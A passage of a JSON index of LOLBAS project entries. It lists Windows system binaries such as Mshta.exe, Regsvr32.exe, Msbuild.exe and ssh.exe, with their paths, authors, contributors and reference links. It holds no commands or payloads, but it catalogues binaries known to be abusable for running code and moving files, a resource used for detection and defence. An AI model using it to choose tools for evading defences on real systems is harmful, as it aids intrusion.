@hexacorn"],"references":["https://lolbas-project.github.io/lolbas/Binaries/iediagcmd/"],"count":1},{"id":"lolbas:ieexec-exe","name":"Ieexec.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ieexec.exe","C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ieexec.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Casey Smith @subtee"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Ieexec/"],"count":2},{"id":"lolbas:ilasm-exe","name":"Ilasm.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ilasm.exe","C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ilasm.exe"],"author":"Hai vaknin (lux)","created":"2020-03-17T00:00:00.000Z","contributors":["Hai Vaknin(Lux) @VakninHai","Lior Adar"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Ilasm/"],"count":2},{"id":"lolbas:infdefaultinstall-exe","name":"Infdefaultinstall.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\Infdefaultinstall.exe","C:\\Windows\\SysWOW64\\Infdefaultinstall.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Kyle Hanslovan @kylehanslovan"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Infdefaultinstall/"],"count":1},{"id":"lolbas:installutil-exe","name":"Installutil.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe","C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallUtil.exe","C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe","C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Casey Smith @subtee","Nir Chako (Pentera) @C_h4ck_0"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Installutil/"],"count":3},{"id":"lolbas:iscsicpl-exe","name":"iscsicpl.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["c:\\windows\\system32\\iscsicpl.exe","c:\\windows\\syswow64\\iscsicpl.exe"],"author":"Ekitji","created":"2025-08-17T00:00:00.000Z","contributors":["hacker.house","Ekitji @eki_erk"],"references":["https://lolbas-project.github.io/lolbas/Binaries/iscsicpl/"],"count":2},{"id":"lolbas:jsc-exe","name":"Jsc.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Jsc.exe","C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Jsc.exe","C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Jsc.exe","C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Jsc.exe"],"author":"Oddvar Moe","created":"2019-05-31T00:00:00.000Z","contributors":["Malwrologist @DissectMalware"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Jsc/"],"count":2},{"id":"lolbas:ldifde-exe","name":"Ldifde.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["c:\\windows\\system32\\ldifde.exe","c:\\windows\\syswow64\\ldifde.exe"],"author":"Grzegorz Tworek","created":"2022-08-31T00:00:00.000Z","contributors":["Grzegorz Tworek @0gtweet"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Ldifde/"],"count":1},{"id":"lolbas:makecab-exe","name":"Makecab.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\makecab.exe","C:\\Windows\\SysWOW64\\makecab.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Oddvar Moe @oddvarmoe"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Makecab/"],"count":4},{"id":"lolbas:mavinject-exe","name":"Mavinject.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\mavinject.exe","C:\\Windows\\SysWOW64\\mavinject.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Giuseppe N3mes1s @gN3mes1s","Oddvar Moe @oddvarmoe"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Mavinject/"],"count":2},{"id":"lolbas:microsoft-workflow-compiler-exe","name":"Microsoft.Workflow.Compiler.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\Microsoft.Net\\Framework64\\v4.0.30319\\Microsoft.Workflow.Compiler.exe"],"author":"Conor Richard","created":"2018-10-22T00:00:00.000Z","contributors":["Matt Graeber @mattifestation","John Bergbom @BergbomJohn","FortyNorth Security @FortyNorthSec","Bank Security @Bank_Security"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Microsoft.Workflow.Compiler/"],"count":3},{"id":"lolbas:mmc-exe","name":"Mmc.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\mmc.exe","C:\\Windows\\SysWOW64\\mmc.exe"],"author":"@bohops","created":"2018-12-04T00:00:00.000Z","contributors":["Jimmy @bohops","clem @clavoillotte","Fredrik H. Brathen"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Mmc/"],"count":3},{"id":"lolbas:mofcomp-exe","name":"Mofcomp.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\wbem\\mofcomp.exe","C:\\Windows\\SysWOW64\\wbem\\mofcomp.exe"],"author":"Daniel Gott","created":"2022-07-19T00:00:00.000Z","contributors":["Daniel Gott @gott_cyber","The DFIR Report @TheDFIRReport","Nasreddine Bencherchali @nas_bench"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Mofcomp/"],"count":1},{"id":"lolbas:mpcmdrun-exe","name":"MpCmdRun.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2008.4-0\\MpCmdRun.exe","C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2008.7-0\\MpCmdRun.exe","C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2008.9-0\\MpCmdRun.exe","C:\\Program Files\\Windows Defender\\MpCmdRun.exe","C:\\Program Files (x86)\\Windows Defender\\MpCmdRun.exe","C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.23110.3-0\\X86\\MpCmdRun.exe"],"author":"Oddvar Moe","created":"2020-03-20T00:00:00.000Z","contributors":["Askar @mohammadaskar2","Oddvar Moe @oddvarmoe","RichRumble","Cedric @th3c3dr1c"],"references":["https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/"],"count":3},{"id":"lolbas:msbuild-exe","name":"Msbuild.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Msbuild.exe","C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Msbuild.exe","C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Msbuild.exe","C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\Msbuild.exe","C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Msbuild.exe","C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Msbuild.exe","C:\\Program Files (x86)\\MSBuild\\14.0\\bin\\MSBuild.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Casey Smith @subtee","Cn33liz @Cneelis","Jimmy @bohops"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Msbuild/"],"count":5},{"id":"lolbas:msconfig-exe","name":"Msconfig.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\msconfig.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Pierre-Alexandre Braeken @pabraeken"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Msconfig/"],"count":1},{"id":"lolbas:msdt-exe","name":"Msdt.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\Msdt.exe","C:\\Windows\\SysWOW64\\Msdt.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Nasreddine Bencherchali @nas_bench"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Msdt/"],"count":3},{"id":"lolbas:msedge-exe","name":"Msedge.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["c:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe","c:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe"],"author":"mr.d0x","created":"2022-01-20T00:00:00.000Z","contributors":["mr.d0x @mrd0x"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Msedge/"],"count":3},{"id":"lolbas:mshta-exe","name":"Mshta.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\mshta.exe","C:\\Windows\\SysWOW64\\mshta.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Casey Smith @subtee","Oddvar Moe @oddvarmoe","Nir Chako (Pentera) @C_h4ck_0"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Mshta/"],"count":5},{"id":"lolbas:msiexec-exe","name":"Msiexec.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\msiexec.exe","C:\\Windows\\SysWOW64\\msiexec.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["netbiosX @netbiosX","Philip Tsukerman @PhilipTsukerman"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Msiexec/"],"count":5},{"id":"lolbas:msoxmled-exe","name":"msoxmled.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Program Files\\Microsoft Office\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Office16\\msoxmled.exe","C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\msoxmled.exe"],"author":"Bogac Kaya","created":"2025-08-22T00:00:00.000Z","contributors":["Bogac Kaya @bogackayaa","Furkan Celik @frknclk034"],"references":["https://lolbas-project.github.io/lolbas/Binaries/msoxmled/"],"count":1},{"id":"lolbas:netsh-exe","name":"Netsh.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\WINDOWS\\System32\\Netsh.exe","C:\\WINDOWS\\SysWOW64\\Netsh.exe"],"author":"Freddie Barr-Smith","created":"2019-12-24T00:00:00.000Z","contributors":["Freddie Barr-Smith","Riccardo Spolaor","Mariano Graziano","Xabier Ugarte-Pedrero"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Netsh/"],"count":1},{"id":"lolbas:ngen-exe","name":"Ngen.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ngen.exe","C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ngen.exe","C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe"],"author":"Avihay Eldad","created":"2024-02-19T00:00:00.000Z","contributors":["Avihay Eldad @AvihayEldad"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Ngen/"],"count":1},{"id":"lolbas:odbcconf-exe","name":"Odbcconf.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\odbcconf.exe","C:\\Windows\\SysWOW64\\odbcconf.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Casey Smith @subtee","Adam @Hexacorn"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/"],"count":3},{"id":"lolbas:offlinescannershell-exe","name":"OfflineScannerShell.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Program Files\\Windows Defender\\Offline\\OfflineScannerShell.exe"],"author":"Elliot Killick","created":"2021-08-16T00:00:00.000Z","contributors":["Elliot Killick @elliotkillick"],"references":["https://lolbas-project.github.io/lolbas/Binaries/OfflineScannerShell/"],"count":1},{"id":"lolbas:onedrivestandaloneupdater-exe","name":"OneDriveStandaloneUpdater.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Users\\<username>\\AppData\\Local\\Microsoft\\OneDrive\\OneDriveStandaloneUpdater.exe","C:\\Program Files\\Microsoft OneDrive\\OneDriveStandaloneUpdater.exe","C:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveStandaloneUpdater.exe"],"author":"Elliot Killick","created":"2021-08-22T00:00:00.000Z","contributors":["Elliot Killick @elliotkillick"],"references":["https://lolbas-project.github.io/lolbas/Binaries/OneDriveStandaloneUpdater/"],"count":1},{"id":"lolbas:pcalua-exe","name":"Pcalua.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\pcalua.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Kyle Hanslovan @kylehanslovan","Fab @0rbz_"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Pcalua/"],"count":3},{"id":"lolbas:pcwrun-exe","name":"Pcwrun.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\pcwrun.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Pierre-Alexandre Braeken @pabraeken","Nasreddine Bencherchali @nas_bench"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Pcwrun/"],"count":2},{"id":"lolbas:pktmon-exe","name":"Pktmon.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["c:\\windows\\system32\\pktmon.exe","c:\\windows\\syswow64\\pktmon.exe"],"author":"Derek Johnson","created":"2020-08-12T00:00:00.000Z","contributors":["Derek Johnson"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Pktmon/"],"count":2},{"id":"lolbas:pnputil-exe","name":"Pnputil.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\system32\\pnputil.exe"],"author":"Hai vaknin (lux)","created":"2020-12-25T00:00:00.000Z","contributors":["Hai Vaknin(Lux) @LuxNoBulIshit","Avihay eldad @aloneliassaf"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Pnputil/"],"count":1},{"id":"lolbas:presentationhost-exe","name":"Presentationhost.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\Presentationhost.exe","C:\\Windows\\SysWOW64\\Presentationhost.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Casey Smith @subtee","Nir Chako (Pentera) @C_h4ck_0"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Presentationhost/"],"count":2},{"id":"lolbas:print-exe","name":"Print.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\print.exe","C:\\Windows\\SysWOW64\\print.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Oddvar Moe @oddvarmoe"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Print/"],"count":3},{"id":"lolbas:printbrm-exe","name":"PrintBrm.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\spool\\tools\\PrintBrm.exe"],"author":"Elliot Killick","created":"2021-06-21T00:00:00.000Z","contributors":["Elliot Killick @elliotkillick"],"references":["https://lolbas-project.github.io/lolbas/Binaries/PrintBrm/"],"count":2},{"id":"lolbas:provlaunch-exe","name":"Provlaunch.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["c:\\windows\\system32\\provlaunch.exe"],"author":"Grzegorz Tworek","created":"2023-06-30T00:00:00.000Z","contributors":["Grzegorz Tworek @0gtweet"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Provlaunch/"],"count":1},{"id":"lolbas:psr-exe","name":"Psr.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["c:\\windows\\system32\\psr.exe","c:\\windows\\syswow64\\psr.exe"],"author":"Leon Rodenko","created":"2020-06-27T00:00:00.000Z","contributors":["Leon Rodenko @L3m0nada"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Psr/"],"count":1},{"id":"lolbas:query-exe","name":"Query.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["c:\\windows\\system32\\query.exe","c:\\windows\\syswow64\\query.exe"],"author":"Idan Lerman","created":"2025-07-31T00:00:00.000Z","contributors":["Idan Lerman @IdanLerman"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Query/"],"count":1},{"id":"lolbas:rasautou-exe","name":"Rasautou.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\rasautou.exe"],"author":"Tony Lambert","created":"2020-01-10T00:00:00.000Z","contributors":["FireEye @FireEye"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Rasautou/"],"count":1},{"id":"lolbas:rdrleakdiag-exe","name":"rdrleakdiag.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["c:\\windows\\system32\\rdrleakdiag.exe","c:\\Windows\\SysWOW64\\rdrleakdiag.exe"],"author":"John Dwyer","created":"2022-05-18T00:00:00.000Z","contributors":["Grzegorz Tworek @0gtweet"],"references":["https://lolbas-project.github.io/lolbas/Binaries/rdrleakdiag/"],"count":3},{"id":"lolbas:reg-exe","name":"Reg.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\reg.exe","C:\\Windows\\SysWOW64\\reg.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Oddvar Moe @oddvarmoe"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Reg/"],"count":2},{"id":"lolbas:regasm-exe","name":"Regasm.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\regasm.exe","C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\regasm.exe","C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\regasm.exe","C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\regasm.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Casey Smith @subtee"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Regasm/"],"count":2},{"id":"lolbas:regedit-exe","name":"Regedit.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\regedit.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Oddvar Moe @oddvarmoe"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Regedit/"],"count":2},{"id":"lolbas:regini-exe","name":"Regini.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\regini.exe","C:\\Windows\\SysWOW64\\regini.exe"],"author":"Oddvar Moe","created":"2020-07-03T00:00:00.000Z","contributors":["Eli Salem @elisalem9"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Regini/"],"count":1},{"id":"lolbas:register-cimprovider-exe","name":"Register-cimprovider.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\Register-cimprovider.exe","C:\\Windows\\SysWOW64\\Register-cimprovider.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Philip Tsukerman @PhilipTsukerman"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Register-cimprovider/"],"count":1},{"id":"lolbas:regsvcs-exe","name":"Regsvcs.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\RegSvcs.exe","C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\RegSvcs.exe","C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegSvcs.exe","C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Casey Smith @subtee"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/"],"count":2},{"id":"lolbas:regsvr32-exe","name":"Regsvr32.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\regsvr32.exe","C:\\Windows\\SysWOW64\\regsvr32.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Casey Smith @subtee"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/"],"count":6},{"id":"lolbas:replace-exe","name":"Replace.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\replace.exe","C:\\Windows\\SysWOW64\\replace.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["elceef @elceef"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Replace/"],"count":2},{"id":"lolbas:reset-exe","name":"Reset.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["c:\\windows\\system32\\reset.exe","c:\\windows\\syswow64\\reset.exe"],"author":"Matan Bahar","created":"2025-07-31T00:00:00.000Z","contributors":["Matan Bahar @Bl4ckShad3"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Reset/"],"count":1},{"id":"lolbas:rpcping-exe","name":"Rpcping.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\rpcping.exe","C:\\Windows\\SysWOW64\\rpcping.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Casey Smith @subtee","Vincent Yiu @vysecurity","Antonio Cocomazzi @splinter_code","ap @decoder_it"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Rpcping/"],"count":2},{"id":"lolbas:rundll32-exe","name":"Rundll32.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\rundll32.exe","C:\\Windows\\SysWOW64\\rundll32.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Casey Smith @subtee","Oddvar Moe @oddvarmoe","Jimmy @bohops","Sailay @404death","Martin Ingesen @Mrtn9"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Rundll32/"],"count":5},{"id":"lolbas:runexehelper-exe","name":"Runexehelper.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["c:\\windows\\system32\\runexehelper.exe"],"author":"Grzegorz Tworek","created":"2022-12-13T00:00:00.000Z","contributors":["Grzegorz Tworek @0gtweet"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Runexehelper/"],"count":1},{"id":"lolbas:runonce-exe","name":"Runonce.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\runonce.exe","C:\\Windows\\SysWOW64\\runonce.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Pierre-Alexandre Braeken @pabraeken"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Runonce/"],"count":1},{"id":"lolbas:runscripthelper-exe","name":"Runscripthelper.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\WinSxS\\amd64_microsoft-windows-u..ed-telemetry-client_31bf3856ad364e35_10.0.16299.15_none_c2df1bba78111118\\Runscripthelper.exe","C:\\Windows\\WinSxS\\amd64_microsoft-windows-u..ed-telemetry-client_31bf3856ad364e35_10.0.16299.192_none_ad4699b571e00c4a\\Runscripthelper.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Matt Graeber @mattifestation"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Runscripthelper/"],"count":1},{"id":"lolbas:sc-exe","name":"Sc.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\sc.exe","C:\\Windows\\SysWOW64\\sc.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Oddvar Moe @oddvarmoe"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Sc/"],"count":2},{"id":"lolbas:schtasks-exe","name":"Schtasks.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["c:\\windows\\system32\\schtasks.exe","c:\\windows\\syswow64\\schtasks.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":[],"references":["https://lolbas-project.github.io/lolbas/Binaries/Schtasks/"],"count":2},{"id":"lolbas:scp-exe","name":"scp.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\OpenSSH\\scp.exe"],"author":"BinFault","created":"2026-06-03T00:00:00.000Z","contributors":["BinFault @binfault","Nir Chako (Pentera) @C_h4ck_0"],"references":["https://lolbas-project.github.io/lolbas/Binaries/scp/"],"count":2},{"id":"lolbas:scriptrunner-exe","name":"Scriptrunner.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\scriptrunner.exe","C:\\Windows\\SysWOW64\\scriptrunner.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Nick Tyrer @nicktyrer"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Scriptrunner/"],"count":2},{"id":"lolbas:setres-exe","name":"Setres.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["c:\\windows\\system32\\setres.exe"],"author":"Grzegorz Tworek","created":"2022-10-21T00:00:00.000Z","contributors":["Grzegorz Tworek @0gtweet"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Setres/"],"count":1},{"id":"lolbas:settingsynchost-exe","name":"SettingSyncHost.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\SettingSyncHost.exe","C:\\Windows\\SysWOW64\\SettingSyncHost.exe"],"author":"Elliot Killick","created":"2021-08-26T00:00:00.000Z","contributors":["Adam @hexacorn","Elliot Killick @elliotkillick"],"references":["https://lolbas-project.github.io/lolbas/Binaries/SettingSyncHost/"],"count":2},{"id":"lolbas:sftp-exe","name":"Sftp.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\OpenSSH\\sftp.exe"],"author":"Swachchhanda Shrawan Poudel","created":"2025-05-13T00:00:00.000Z","contributors":["Swachchhanda Shrawan Poudel @_swachchhanda_","Nir Chako (Pentera) @C_h4ck_0"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Sftp/"],"count":2},{"id":"lolbas:sigverif-exe","name":"Sigverif.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\sigverif.exe","C:\\Windows\\SysWOW64\\sigverif.exe"],"author":"Moshe Kaplan","created":"2021-11-08T00:00:00.000Z","contributors":["Grzegorz Tworek @0gtweet","Adam @Hexacorn"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Sigverif/"],"count":1},{"id":"lolbas:ssh-exe","name":"ssh.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["c:\\windows\\system32\\OpenSSH\\ssh.exe"],"author":"Akshat Pradhan","created":"2021-11-08T00:00:00.000Z","contributors":["Akshat Pradhan","Felix Boulet","Edo Maland"],"references":["https://lolbas-project.github.io/lolbas/Binaries/ssh/"],"count":3},{"id":"lolbas:stordiag-exe","name":"Stordiag.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["c:\\windows\\system32\\stordiag.exe","c:\\windows\\syswow64\\stordiag.exe"],"author":"Eral4m","created":"2021-10-21T00:00:00.000Z","contributors":["Eral4m @eral4m","Ekitji @eki_erk"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Stordiag/"],"count":2},{"id":"lolbas:syncappvpublishingserver-exe","name":"SyncAppvPublishingServer.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\SyncAppvPublishingServer.exe","C:\\Windows\\SysWOW64\\SyncAppvPublishingServer.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Nick Landers 